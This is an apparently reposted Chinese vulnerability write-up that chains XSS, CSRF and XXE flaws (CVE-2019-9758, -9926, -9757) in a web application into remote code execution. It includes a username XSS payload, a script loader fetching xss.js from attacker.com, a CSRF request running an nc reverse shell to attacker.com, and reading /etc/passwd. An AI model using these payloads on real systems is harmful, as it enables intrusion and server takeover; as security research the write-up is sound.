XSS+CSRF(+XXE)组合拳=RCE之旅
Posted SecSch001
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了XSS+CSRF(+XXE)组合拳=RCE之旅相关的知识,希望对你有一定的参考价值。
前言
国外某平台系统的一个全家桶组合漏洞导致了RCE,其根本通过是XSS+CSRF达到预期功能,直至远程代码执行,还有一个可进行任意文件读取的XXE。
漏洞编号
XSS:CVE-2019-9758
CSRF:CVE-2019-9926
XXE:CVE-2019-9757
漏洞利用
一、XSS
在应用中发现的XSS的触发条件极其简单。
将任何用户的用户名更改为XSS都会导致payload在管理员的各种下拉菜单中执行。
将用户的用户名设置为XSS的结果:
<svg onload=alert(1)>
当前用户触发“Clone permissions from user”菜单中的自动查找时,XSS将在管理员上执行。
这个问题需要注意的是:
它是在应用程序的管理中执行的,允许普通用户去攻击应用程序的管理员。
这也意味着它允许低级用户使用XSS触发代码执行,从而导致RCE。
二、CSRF
服务器大多数的允许运行脚本的功能都开启了CSRF防护。
但是:
将一个POST请求修改为一个GET请求,并将一些参数移动到URL查询字符串,就可以在管理员登录时执行任意代码。
单击Report后查看发送的Request。
但不包含CSRF Token的请求会导致如下错误
将POST修改为GET,并将一些参数移动到查询字符串中,从而请求成功。
cat /etc/passwd
三、XXE
应用程序为其处理数据生成的报告是通过生成SVG图像显示数据图来创建的。
SVG的数据还可以在应用程序中转换为PNG或PDF。
这是通过将用户控制的XML传递给Apache的Batik库来实现的,但是该库已经过时,并且容易受到xxe的攻击——CVE-2015-0250。
呈现服务器任意文件内容:
该配置允许发送包含外部实体的XML数据,从而可以将服务器中任意文件的内容呈现到应用程序生成的PDF中。
组合拳实现RCE
现在可以利用XSS来exec JS Payload,让管理员使用运行脚本。
由于存在CSRF,所以可以简化Payload。
使用熟悉的XSS和CSRF来共同执行代码。
一、创建一个xss.js文件
var xss = document.createElement('img');
xss.src="http://localhost:8080/labkey/reports-viewScriptReport.view?reportType=ReportService.rReport&script=system('/bin/nc -e /bin/sh attacker.com 8999')";
二、设置XSS Payload
<svg/onload=jQuery.getScript(‘http://attacker.com/xss.js’)>
三、Kali设置监听
四、触发XSS
五、反弹执行成功!
cat /etc/passwd
以上是关于XSS+CSRF(+XXE)组合拳=RCE之旅的主要内容,如果未能解决你的问题,请参考以下文章